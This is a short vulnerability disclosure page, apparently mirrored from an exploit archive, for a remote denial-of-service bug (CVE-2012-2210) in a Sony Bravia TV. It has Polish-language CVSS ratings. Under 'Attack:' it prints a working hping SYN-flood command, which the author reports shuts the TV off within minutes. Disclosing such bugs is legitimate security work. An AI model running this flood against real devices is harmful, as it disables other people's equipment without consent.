Sony Bravia TV Denial Of Service

2012-04-05 / 2012-04-13

Credit: Gabriel Menezes Nunes

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2012-2210

CWE: CWE-399

Ogólna skala CVSS: 7.8/10

Znaczenie: 6.9/10

Łatwość wykorzystania: 10/10

Wymagany dostęp: Zdalny

Złożoność ataku: Niska

Autoryzacja: Nie wymagana

Wpływ na poufność: Brak

Wpływ na integralność: Brak

Wpływ na dostępność: Pełny

# Exploit Title: Sony Bravia Remote Denial of Service
# Date: 04/04/2012
# Author: Gabriel Menezes Nunes
# Version: Sony Bravia TV
# Tested on: Sony Bravia TV (KDL-32CX525)

Playing with my TV, I found a bug that can crash the device.

Running a hping command against a Sony Bravia TV (KDL-32CX525),
all the functions stop working instantly. You cannot change the
volume, channels or access any function. Instantly. After 35 seconds
the TV stop working and back. This happens 3 times. At fourth time, the
TV shuts down. In less than 3 minutes, the TV is off remotely. It is
necessary to turn on the TV physically.

Attack:

hping -S TV.IP.Address -p anyport -i u1 --flood 

Example: hping -S 10.0.0.3 -p 2828 -i u1 --flood

Referencje:

http://packetstormsecurity.org/files/111588/sonybravia-dos.txt

See this note in RAW Version

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Sony Bravia TV Denial Of Service

Referencje:

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